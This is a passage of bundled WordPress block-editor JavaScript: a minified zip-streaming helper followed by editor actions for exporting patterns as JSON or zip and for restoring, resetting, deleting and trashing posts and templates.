i=e.getSeconds()>>1|e.getMinutes()<<5|e.getHours()<<11,r=e.getDate()|e.getMonth()+1<<5|e.getFullYear()-1980<<9;n.setUint16(t,i,1),n.setUint16(t+2,r,1)}function B({i:e,u:n},t){return 8*(!n||(t??function(e){try{b.decode(e)}catch{return 0}return 1}(e)))}var b=new TextDecoder("utf8",{fatal:1});function p(t,i=0){const r=e(30);return r.setUint32(0,1347093252),r.setUint32(4,754976768|i),w(t.t,r,10),r.setUint16(26,t.i.length,1),n(r)}async function*g(e){let{bytes:n}=e;if("then"in n&&(n=await n),n instanceof Uint8Array)yield n,e.l=y(n,0),e.o=BigInt(n.length);else{e.o=0n;const t=n.getReader();for(;;){const{value:n,done:i}=await t.read();if(i)break;e.l=y(n,e.l),e.o+=BigInt(n.length),yield n}}}function I(t,r){const o=e(16+(r?8:0));return o.setUint32(0,1347094280),o.setUint32(4,t.isFile?t.l:0,1),r?(o.setBigUint64(8,t.o,1),o.setBigUint64(16,t.o,1)):(o.setUint32(8,i(t.o),1),o.setUint32(12,i(t.o),1)),n(o)}function v(t,r,o=0,f=0){const a=e(46);return a.setUint32(0,1347092738),a.setUint32(4,755182848),a.setUint16(8,2048|o),w(t.t,a,12),a.setUint32(16,t.isFile?t.l:0,1),a.setUint32(20,i(t.o),1),a.setUint32(24,i(t.o),1),a.setUint16(28,t.i.length,1),a.setUint16(30,f,1),a.setUint16(40,t.mode|(t.isFile?32768:16384),1),a.setUint32(42,i(r),1),n(a)}function h(t,i,r){const o=e(r);return o.setUint16(0,1,1),o.setUint16(2,r-4,1),16&r&&(o.setBigUint64(4,t.o,1),o.setBigUint64(12,t.o,1)),o.setBigUint64(r-8,i,1),n(o)}function D(e){return e instanceof File||e instanceof Response?[[e],[e]]:[[e.input,e.name,e.size],[e.input,e.lastModified,e.mode]]}var S=e=>function(e){let n=BigInt(22),t=0n,i=0;for(const r of e){if(!r.i)throw new Error("Every file must have a non-empty name.");if(void 0===r.o)throw new Error(`Missing size for file "${(new TextDecoder).decode(r.i)}".`);const e=r.o>=0xffffffffn,o=t>=0xffffffffn;t+=BigInt(46+r.i.length+(e&&8))+r.o,n+=BigInt(r.i.length+46+(12*o|28*e)),i||(i=e)}return(i||t>=0xffffffffn)&&(n+=BigInt(76)),n+t}(function*(e){for(const n of e)yield s(...D(n)[0])}(e));function A(e,n={}){const t={"Content-Type":"application/zip","Content-Disposition":"attachment"};return("bigint"==typeof n.length||Number.isInteger(n.length))&&n.length>0&&(t["Content-Length"]=String(n.length)),n.metadata&&(t["Content-Length"]=String(S(n.metadata))),new Response(N(e,n),{headers:t})}function N(t,a={}){const u=function(e){const n=e[Symbol.iterator in e?Symbol.iterator:Symbol.asyncIterator]();return{async next(){const e=await n.next();if(e.done)return e;const[t,i]=D(e.value);return{done:0,value:Object.assign(o(...i),s(...t))}},throw:n.throw?.bind(n),[Symbol.asyncIterator](){return this}}}(t);return f(async function*(t,o){const f=[];let a=0n,s=0n,u=0;for await(const e of t){const n=B(e,o.buffersAreUTF8);yield p(e,n),yield new Uint8Array(e.i),e.isFile&&(yield*g(e));const t=e.o>=0xffffffffn,i=12*(a>=0xffffffffn)|28*t;yield I(e,t),f.push(v(e,a,n,i)),f.push(e.i),i&&f.push(h(e,a,i)),t&&(a+=8n),s++,a+=BigInt(46+e.i.length)+e.o,u||(u=t)}let d=0n;for(const e of f)yield e,d+=BigInt(e.length);if(u||a>=0xffffffffn){const t=e(76);t.setUint32(0,1347094022),t.setBigUint64(4,BigInt(44),1),t.setUint32(12,755182848),t.setBigUint64(24,s,1),t.setBigUint64(32,s,1),t.setBigUint64(40,d,1),t.setBigUint64(48,a,1),t.setUint32(56,1347094023),t.setBigUint64(64,a+d,1),t.setUint32(72,1,1),yield n(t)}const l=e(22);l.setUint32(0,1347093766),l.setUint16(8,r(s),1),l.setUint16(10,r(s),1),l.setUint32(12,i(d),1),l.setUint32(16,i(a),1),yield n(l)}(u,a),u)}
4905;// external ["wp","blob"]
4906const external_wp_blob_namespaceObject = window["wp"]["blob"];
4907;// ./node_modules/@wordpress/icons/build-module/library/download.js
4908
4909
4910var download_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z" }) });
4911
4912
4913;// ./node_modules/@wordpress/fields/build-module/actions/export-pattern.js
4914
4915
4916
4917
4918
4919
4920function getJsonFromItem(item) {
4921 return JSON.stringify(
4922 {
4923 __file: item.type,
4924 title: getItemTitle(item),
4925 content: typeof item.content === "string" ? item.content : item.content?.raw,
4926 syncStatus: item.wp_pattern_sync_status
4927 },
4928 null,
4929 2
4930 );
4931}
4932const exportPattern = {
4933 id: "export-pattern",
4934 label: (0,external_wp_i18n_namespaceObject.__)("Export as JSON"),
4935 icon: download_default,
4936 supportsBulk: true,
4937 isEligible: (item) => item.type === "wp_block",
4938 callback: async (items) => {
4939 if (items.length === 1) {
4940 return (0,external_wp_blob_namespaceObject.downloadBlob)(
4941 `${paramCase(
4942 getItemTitle(items[0]) || items[0].slug
4943 )}.json`,
4944 getJsonFromItem(items[0]),
4945 "application/json"
4946 );
4947 }
4948 const nameCount = {};
4949 const filesToZip = items.map((item) => {
4950 const name = paramCase(getItemTitle(item) || item.slug);
4951 nameCount[name] = (nameCount[name] || 0) + 1;
4952 return {
4953 name: `${name + (nameCount[name] > 1 ? "-" + (nameCount[name] - 1) : "")}.json`,
4954 lastModified: /* @__PURE__ */ new Date(),
4955 input: getJsonFromItem(item)
4956 };
4957 });
4958 return (0,external_wp_blob_namespaceObject.downloadBlob)(
4959 (0,external_wp_i18n_namespaceObject.__)("patterns-export") + ".zip",
4960 await A(filesToZip).blob(),
4961 "application/zip"
4962 );
4963 }
4964};
4965var export_pattern_default = exportPattern;
4966
4967
4968;// ./node_modules/@wordpress/icons/build-module/library/backup.js
4969
4970
4971var backup_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z" }) });
4972
4973
4974;// ./node_modules/@wordpress/fields/build-module/actions/restore-post.js
4975
4976
4977
4978
4979
4980const restorePost = {
4981 id: "restore",
4982 label: (0,external_wp_i18n_namespaceObject.__)("Restore"),
4983 isPrimary: true,
4984 icon: backup_default,
4985 supportsBulk: true,
4986 isEligible(item) {
4987 return !isTemplateOrTemplatePart(item) && item.type !== "wp_block" && item.status === "trash" && item.permissions?.update;
4988 },
4989 async callback(posts, { registry, onActionPerformed }) {
4990 const { createSuccessNotice, createErrorNotice } = registry.dispatch(external_wp_notices_namespaceObject.store);
4991 const { editEntityRecord, saveEditedEntityRecord } = registry.dispatch(external_wp_coreData_namespaceObject.store);
4992 await Promise.allSettled(
4993 posts.map((post) => {
4994 return editEntityRecord("postType", post.type, post.id, {
4995 status: "draft"
4996 });
4997 })
4998 );
4999 const promiseResult = await Promise.allSettled(
5000 posts.map((post) => {
5001 return saveEditedEntityRecord("postType", post.type, post.id, {
5002 throwOnError: true
5003 });
5004 })
5005 );
5006 if (promiseResult.every(({ status }) => status === "fulfilled")) {
5007 let successMessage;
5008 if (posts.length === 1) {
5009 successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5010 /* translators: %s: The number of posts. */
5011 (0,external_wp_i18n_namespaceObject.__)('"%s" has been restored.'),
5012 getItemTitle(posts[0])
5013 );
5014 } else if (posts[0].type === "page") {
5015 successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5016 /* translators: %d: The number of posts. */
5017 (0,external_wp_i18n_namespaceObject.__)("%d pages have been restored."),
5018 posts.length
5019 );
5020 } else {
5021 successMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5022 /* translators: %d: The number of posts. */
5023 (0,external_wp_i18n_namespaceObject.__)("%d posts have been restored."),
5024 posts.length
5025 );
5026 }
5027 createSuccessNotice(successMessage, {
5028 type: "snackbar",
5029 id: "restore-post-action"
5030 });
5031 if (onActionPerformed) {
5032 onActionPerformed(posts);
5033 }
5034 } else {
5035 let errorMessage;
5036 if (promiseResult.length === 1) {
5037 const typedError = promiseResult[0];
5038 if (typedError.reason?.message) {
5039 errorMessage = typedError.reason.message;
5040 } else {
5041 errorMessage = (0,external_wp_i18n_namespaceObject.__)(
5042 "An error occurred while restoring the post."
5043 );
5044 }
5045 } else {
5046 const errorMessages = /* @__PURE__ */ new Set();
5047 const failedPromises = promiseResult.filter(
5048 ({ status }) => status === "rejected"
5049 );
5050 for (const failedPromise of failedPromises) {
5051 const typedError = failedPromise;
5052 if (typedError.reason?.message) {
5053 errorMessages.add(typedError.reason.message);
5054 }
5055 }
5056 if (errorMessages.size === 0) {
5057 errorMessage = (0,external_wp_i18n_namespaceObject.__)(
5058 "An error occurred while restoring the posts."
5059 );
5060 } else if (errorMessages.size === 1) {
5061 errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5062 /* translators: %s: an error message */
5063 (0,external_wp_i18n_namespaceObject.__)("An error occurred while restoring the posts: %s"),
5064 [...errorMessages][0]
5065 );
5066 } else {
5067 errorMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
5068 /* translators: %s: a list of comma separated error messages */
5069 (0,external_wp_i18n_namespaceObject.__)(
5070 "Some errors occurred while restoring the posts: %s"
5071 ),
5072 [...errorMessages].join(",")
5073 );
5074 }
5075 }
5076 createErrorNotice(errorMessage, {
5077 type: "snackbar"
5078 });
5079 }
5080 }
5081};
5082var restore_post_default = restorePost;
5083
5084
5085;// ./node_modules/@wordpress/fields/build-module/actions/reset-post.js
5086
5087
5088
5089
5090
5091
5092
5093
5094
5095
5096
5097
5098const reset_post_isTemplateRevertable = (templateOrTemplatePart) => {
5099 if (!templateOrTemplatePart) {
5100 return false;
5101 }
5102 return templateOrTemplatePart.source === "custom" && (Boolean(templateOrTemplatePart?.plugin) || templateOrTemplatePart?.has_theme_file);
5103};
5104const revertTemplate = async (template, { allowUndo = true } = {}) => {
5105 const noticeId = "edit-site-template-reverted";
5106 (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).removeNotice(noticeId);
5107 if (!reset_post_isTemplateRevertable(template)) {
5108 (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createErrorNotice(
5109 (0,external_wp_i18n_namespaceObject.__)("This template is not revertable."),
5110 {
5111 type: "snackbar"
5112 }
5113 );
5114 return;
5115 }
5116 try {
5117 const templateEntityConfig = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store).getEntityConfig(
5118 "postType",
5119 template.type
5120 );
5121 if (!templateEntityConfig) {
5122 (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createErrorNotice(
5123 (0,external_wp_i18n_namespaceObject.__)(
5124 "The editor has encountered an unexpected error. Please reload."
5125 ),
5126 { type: "snackbar" }
5127 );
5128 return;
5129 }
5130 const fileTemplatePath = (0,external_wp_url_namespaceObject.addQueryArgs)(
5131 `${templateEntityConfig.baseURL}/${template.id}`,
5132 { context: "edit", source: template.origin }
5133 );
5134 const fileTemplate = await external_wp_apiFetch_default()({
5135 path: fileTemplatePath
5136 });
5137 if (!fileTemplate) {
5138 (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createErrorNotice(
5139 (0,external_wp_i18n_namespaceObject.__)(
5140 "The editor has encountered an unexpected error. Please reload."
5141 ),
5142 { type: "snackbar" }
5143 );
5144 return;
5145 }
5146 const serializeBlocks = ({ blocks: blocksForSerialization = [] }) => (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocksForSerialization);
5147 const edited = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store).getEditedEntityRecord(
5148 "postType",
5149 template.type,
5150 template.id
5151 );
5152 (0,external_wp_data_namespaceObject.dispatch)(external_wp_coreData_namespaceObject.store).editEntityRecord(
5153 "postType",
5154 template.type,
5155 template.id,
5156 {
5157 content: serializeBlocks,
5158 // Required to make the `undo` behave correctly.
5159 blocks: edited.blocks,
5160 // Required to revert the blocks in the editor.
5161 source: "custom"
5162 // required to avoid turning the editor into a dirty state
5163 },
5164 {
5165 undoIgnore: true
5166 // Required to merge this edit with the last undo level.
5167 }
5168 );
5169 const blocks = (0,external_wp_blocks_namespaceObject.parse)(fileTemplate?.content?.raw);
5170 (0,external_wp_data_namespaceObject.dispatch)(external_wp_coreData_namespaceObject.store).editEntityRecord(
5171 "postType",
5172 template.type,
5173 fileTemplate.id,
5174 {
5175 content: serializeBlocks,
5176 blocks,
5177 source: "theme"
5178 }
5179 );
5180 if (allowUndo) {
5181 const undoRevert = () => {
5182 (0,external_wp_data_namespaceObject.dispatch)(external_wp_coreData_namespaceObject.store).editEntityRecord(
5183 "postType",
5184 template.type,
5185 edited.id,
5186 {
5187 content: serializeBlocks,
5188 blocks: edited.blocks,
5189 source: "custom"
5190 }
5191 );
5192 };
5193 (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createSuccessNotice(
5194 (0,external_wp_i18n_namespaceObject.__)("Template reset."),
5195 {
5196 type: "snackbar",
5197 id: noticeId,
5198 actions: [
5199 {
5200 label: (0,external_wp_i18n_namespaceObject.__)("Undo"),
5201 onClick: undoRevert
5202 }
5203 ]
5204 }
5205 );
5206 }
5207 } catch (error) {
5208 const errorMessage = error.message && error.code !== "unknown_error" ? error.message : (0,external_wp_i18n_namespaceObject.__)("Template revert failed. Please reload.");
5209 (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store).createErrorNotice(errorMessage, {
5210 type: "snackbar"
5211 });
5212 }
5213};
5214const resetPostAction = {
5215 id: "reset-post",
5216 label: (0,external_wp_i18n_namespaceObject.__)("Reset"),
5217 isEligible: (item) => {
5218 return isTemplateOrTemplatePart(item) && item?.source === "custom" && (Boolean(item.type === "wp_template" && item?.plugin) || item?.has_theme_file);
5219 },
5220 icon: backup_default,
5221 supportsBulk: true,
5222 hideModalHeader: true,
5223 modalFocusOnMount: "firstContentElement",
5224 RenderModal: ({ items, closeModal, onActionPerformed }) => {
5225 const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
5226 const { saveEditedEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
5227 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
5228 const onConfirm = async () => {
5229 try {
5230 for (const template of items) {
5231 await revertTemplate(template, {
5232 allowUndo: false
5233 });
5234 await saveEditedEntityRecord(
5235 "postType",
5236 template.type,
5237 template.id
5238 );
5239 }
5240 createSuccessNotice(
5241 items.length > 1 ? (0,external_wp_i18n_namespaceObject.sprintf)(
5242 /* translators: %d: The number of items. */
5243 (0,external_wp_i18n_namespaceObject.__)("%d items reset."),
5244 items.length
5245 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
5246 /* translators: %s: The template/part's name. */
5247 (0,external_wp_i18n_namespaceObject.__)('"%s" reset.'),
5248 getItemTitle(items[0])
5249 ),
5250 {
5251 type: "snackbar",
5252 id: "revert-template-action"
5253 }
5254 );
5255 } catch (error) {
5256 let fallbackErrorMessage;
5257 if (items[0].type === "wp_template") {
5258 fallbackErrorMessage = items.length === 1 ? (0,external_wp_i18n_namespaceObject.__)(
5259 "An error occurred while reverting the template."
5260 ) : (0,external_wp_i18n_namespaceObject.__)(
5261 "An error occurred while reverting the templates."
5262 );
5263 } else {
5264 fallbackErrorMessage = items.length === 1 ? (0,external_wp_i18n_namespaceObject.__)(
5265 "An error occurred while reverting the template part."
5266 ) : (0,external_wp_i18n_namespaceObject.__)(
5267 "An error occurred while reverting the template parts."
5268 );
5269 }
5270 const typedError = error;
5271 const errorMessage = typedError.message && typedError.code !== "unknown_error" ? typedError.message : fallbackErrorMessage;
5272 createErrorNotice(errorMessage, { type: "snackbar" });
5273 }
5274 };
5275 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
5276 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)("Reset to default and clear all customizations?") }),
5277 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
5278 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5279 external_wp_components_namespaceObject.Button,
5280 {
5281 __next40pxDefaultSize: true,
5282 variant: "tertiary",
5283 onClick: closeModal,
5284 disabled: isBusy,
5285 accessibleWhenDisabled: true,
5286 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
5287 }
5288 ),
5289 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5290 external_wp_components_namespaceObject.Button,
5291 {
5292 __next40pxDefaultSize: true,
5293 variant: "primary",
5294 onClick: async () => {
5295 setIsBusy(true);
5296 await onConfirm();
5297 onActionPerformed?.(items);
5298 setIsBusy(false);
5299 closeModal?.();
5300 },
5301 isBusy,
5302 disabled: isBusy,
5303 accessibleWhenDisabled: true,
5304 children: (0,external_wp_i18n_namespaceObject.__)("Reset")
5305 }
5306 )
5307 ] })
5308 ] });
5309 }
5310};
5311var reset_post_default = resetPostAction;
5312
5313
5314;// ./node_modules/@wordpress/icons/build-module/library/trash.js
5315
5316
5317var trash_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5318 external_wp_primitives_namespaceObject.Path,
5319 {
5320 fillRule: "evenodd",
5321 clipRule: "evenodd",
5322 d: "M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z"
5323 }
5324) });
5325
5326
5327;// ./node_modules/@wordpress/fields/build-module/mutation/index.js
5328
5329
5330
5331function getErrorMessagesFromPromises(allSettledResults) {
5332 const errorMessages = /* @__PURE__ */ new Set();
5333 if (allSettledResults.length === 1) {
5334 const typedError = allSettledResults[0];
5335 if (typedError.reason?.message) {
5336 errorMessages.add(typedError.reason.message);
5337 }
5338 } else {
5339 const failedPromises = allSettledResults.filter(
5340 ({ status }) => status === "rejected"
5341 );
5342 for (const failedPromise of failedPromises) {
5343 const typedError = failedPromise;
5344 if (typedError.reason?.message) {
5345 errorMessages.add(typedError.reason.message);
5346 }
5347 }
5348 }
5349 return errorMessages;
5350}
5351const deletePostWithNotices = async (posts, notice, callbacks) => {
5352 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.dispatch)(external_wp_notices_namespaceObject.store);
5353 const { deleteEntityRecord } = (0,external_wp_data_namespaceObject.dispatch)(external_wp_coreData_namespaceObject.store);
5354 const allSettledResults = await Promise.allSettled(
5355 posts.map((post) => {
5356 return deleteEntityRecord(
5357 "postType",
5358 post.type,
5359 post.id,
5360 { force: true },
5361 { throwOnError: true }
5362 );
5363 })
5364 );
5365 if (allSettledResults.every(({ status }) => status === "fulfilled")) {
5366 let successMessage;
5367 if (allSettledResults.length === 1) {
5368 successMessage = notice.success.messages.getMessage(posts[0]);
5369 } else {
5370 successMessage = notice.success.messages.getBatchMessage(posts);
5371 }
5372 createSuccessNotice(successMessage, {
5373 type: notice.success.type ?? "snackbar",
5374 id: notice.success.id
5375 });
5376 callbacks.onActionPerformed?.(posts);
5377 } else {
5378 const errorMessages = getErrorMessagesFromPromises(allSettledResults);
5379 let errorMessage = "";
5380 if (allSettledResults.length === 1) {
5381 errorMessage = notice.error.messages.getMessage(errorMessages);
5382 } else {
5383 errorMessage = notice.error.messages.getBatchMessage(errorMessages);
5384 }
5385 createErrorNotice(errorMessage, {
5386 type: notice.error.type ?? "snackbar",
5387 id: notice.error.id
5388 });
5389 callbacks.onActionError?.();
5390 }
5391};
5392const editPostWithNotices = async (postsWithUpdates, notice, callbacks) => {
5393 const { createSuccessNotice, createErrorNotice } = dispatch(noticesStore);
5394 const { editEntityRecord, saveEditedEntityRecord } = dispatch(coreStore);
5395 await Promise.allSettled(
5396 postsWithUpdates.map((post) => {
5397 return editEntityRecord(
5398 "postType",
5399 post.originalPost.type,
5400 post.originalPost.id,
5401 {
5402 ...post.changes
5403 }
5404 );
5405 })
5406 );
5407 const allSettledResults = await Promise.allSettled(
5408 postsWithUpdates.map((post) => {
5409 return saveEditedEntityRecord(
5410 "postType",
5411 post.originalPost.type,
5412 post.originalPost.id,
5413 {
5414 throwOnError: true
5415 }
5416 );
5417 })
5418 );
5419 if (allSettledResults.every(({ status }) => status === "fulfilled")) {
5420 let successMessage;
5421 if (allSettledResults.length === 1) {
5422 successMessage = notice.success.messages.getMessage(
5423 postsWithUpdates[0].originalPost
5424 );
5425 } else {
5426 successMessage = notice.success.messages.getBatchMessage(
5427 postsWithUpdates.map((post) => post.originalPost)
5428 );
5429 }
5430 createSuccessNotice(successMessage, {
5431 type: notice.success.type ?? "snackbar",
5432 id: notice.success.id
5433 });
5434 callbacks.onActionPerformed?.(
5435 postsWithUpdates.map((post) => post.originalPost)
5436 );
5437 } else {
5438 const errorMessages = getErrorMessagesFromPromises(allSettledResults);
5439 let errorMessage = "";
5440 if (allSettledResults.length === 1) {
5441 errorMessage = notice.error.messages.getMessage(errorMessages);
5442 } else {
5443 errorMessage = notice.error.messages.getBatchMessage(errorMessages);
5444 }
5445 createErrorNotice(errorMessage, {
5446 type: notice.error.type ?? "snackbar",
5447 id: notice.error.id
5448 });
5449 callbacks.onActionError?.();
5450 }
5451};
5452
5453
5454;// ./node_modules/@wordpress/fields/build-module/actions/delete-post.js
5455
5456
5457
5458
5459
5460
5461
5462
5463
5464
5465const { PATTERN_TYPES: delete_post_PATTERN_TYPES } = lock_unlock_unlock(external_wp_patterns_namespaceObject.privateApis);
5466const deletePostAction = {
5467 id: "delete-post",
5468 label: (0,external_wp_i18n_namespaceObject.__)("Delete"),
5469 isPrimary: true,
5470 icon: trash_default,
5471 isEligible(post) {
5472 if (isTemplateOrTemplatePart(post)) {
5473 return isTemplateRemovable(post);
5474 }
5475 return post.type === delete_post_PATTERN_TYPES.user;
5476 },
5477 supportsBulk: true,
5478 hideModalHeader: true,
5479 modalFocusOnMount: "firstContentElement",
5480 RenderModal: ({ items, closeModal, onActionPerformed }) => {
5481 const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
5482 const isResetting = items.every(
5483 (item) => isTemplateOrTemplatePart(item) && item?.has_theme_file
5484 );
5485 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
5486 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: items.length > 1 ? (0,external_wp_i18n_namespaceObject.sprintf)(
5487 // translators: %d: number of items to delete.
5488 (0,external_wp_i18n_namespaceObject._n)(
5489 "Delete %d item?",
5490 "Delete %d items?",
5491 items.length
5492 ),
5493 items.length
5494 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
5495 // translators: %s: The template or template part's title
5496 (0,external_wp_i18n_namespaceObject._x)('Delete "%s"?', "template part"),
5497 getItemTitle(items[0])
5498 ) }),
5499 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
5500 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5501 external_wp_components_namespaceObject.Button,
5502 {
5503 variant: "tertiary",
5504 onClick: closeModal,
5505 disabled: isBusy,
5506 accessibleWhenDisabled: true,
5507 __next40pxDefaultSize: true,
5508 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
5509 }
5510 ),
5511 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
5512 external_wp_components_namespaceObject.Button,
5513 {
5514 variant: "primary",
5515 onClick: async () => {
5516 setIsBusy(true);
5517 const notice = {
5518 success: {
5519 messages: {
5520 getMessage: (item) => {
5521 return isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(
5522 /* translators: %s: The template/part's name. */
5523 (0,external_wp_i18n_namespaceObject.__)('"%s" reset.'),
5524 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(
5525 getItemTitle(item)
5526 )
5527 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
5528 /* translators: %s: The template/part's name. */
5529 (0,external_wp_i18n_namespaceObject._x)(
5530 '"%s" deleted.',
5531 "template part"
5532 ),
5533 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(
5534 getItemTitle(item)
5535 )
5536 );
5537 },
5538 getBatchMessage: () => {
5539 return isResetting ? (0,external_wp_i18n_namespaceObject.__)("Items reset.") : (0,external_wp_i18n_namespaceObject.__)("Items deleted.");
5540 }
5541 }
5542 },
5543 error: {
5544 messages: {
5545 getMessage: (error) => {
5546 if (error.size === 1) {
5547 return [...error][0];
5548 }
5549 return isResetting ? (0,external_wp_i18n_namespaceObject.__)(
5550 "An error occurred while reverting the item."
5551 ) : (0,external_wp_i18n_namespaceObject.__)(
5552 "An error occurred while deleting the item."
5553 );
5554 },
5555 getBatchMessage: (errors) => {
5556 if (errors.size === 0) {
5557 return isResetting ? (0,external_wp_i18n_namespaceObject.__)(
5558 "An error occurred while reverting the items."
5559 ) : (0,external_wp_i18n_namespaceObject.__)(
5560 "An error occurred while deleting the items."
5561 );
5562 }
5563 if (errors.size === 1) {
5564 return isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(
5565 /* translators: %s: an error message */
5566 (0,external_wp_i18n_namespaceObject.__)(
5567 "An error occurred while reverting the items: %s"
5568 ),
5569 [...errors][0]
5570 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
5571 /* translators: %s: an error message */
5572 (0,external_wp_i18n_namespaceObject.__)(
5573 "An error occurred while deleting the items: %s"
5574 ),
5575 [...errors][0]
5576 );
5577 }
5578 return isResetting ? (0,external_wp_i18n_namespaceObject.sprintf)(
5579 /* translators: %s: a list of comma separated error messages */
5580 (0,external_wp_i18n_namespaceObject.__)(
5581 "Some errors occurred while reverting the items: %s"
5582 ),
5583 [...errors].join(
5584 ","
5585 )
5586 ) : (0,external_wp_i18n_namespaceObject.sprintf)(
5587 /* translators: %s: a list of comma separated error messages */
5588 (0,external_wp_i18n_namespaceObject.__)(
5589 "Some errors occurred while deleting the items: %s"
5590 ),
5591 [...errors].join(
5592 ","
5593 )
5594 );
5595 }
5596 }
5597 }
5598 };
5599 await deletePostWithNotices(items, notice, {
5600 onActionPerformed
5601 });
5602 setIsBusy(false);
5603 closeModal?.();
5604 },
5605 isBusy,
5606 disabled: isBusy,
5607 accessibleWhenDisabled: true,
5608 __next40pxDefaultSize: true,
5609 children: (0,external_wp_i18n_namespaceObject.__)("Delete")
5610 }
5611 )
5612 ] })
5613 ] });
5614 }
5615};
5616var delete_post_default = deletePostAction;
5617
5618
5619;// ./node_modules/@wordpress/fields/build-module/actions/trash-post.js
5620
5621
5622
5623
5624
5625
5626
5627
5628
5629const trash_post_trashPost = {
5630 id: "move-to-trash",
5631 label: (0,external_wp_i18n_namespaceObject.__)("Trash"),
5632 isPrimary: true,
5633 icon: trash_default,
5634 isEligible(item) {
5635 if (isTemplateOrTemplatePart(item) || item.type === "wp_block") {
5636 return false;
5637 }
5638 return !!item.status && !["auto-draft", "trash"].includes(item.status) && item.permissions?.delete;
5639 },
5640 supportsBulk: true,
5641 hideModalHeader: true,
5642 modalFocusOnMount: "firstContentElement",
5643 RenderModal: ({ items, closeModal, onActionPerformed }) => {
5644 const [isBusy, setIsBusy] = (0,external_wp_element_namespaceObject.useState)(false);
5645 const { createSuccessNotice, createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
5646 const { deleteEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
5647 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "5", children: [
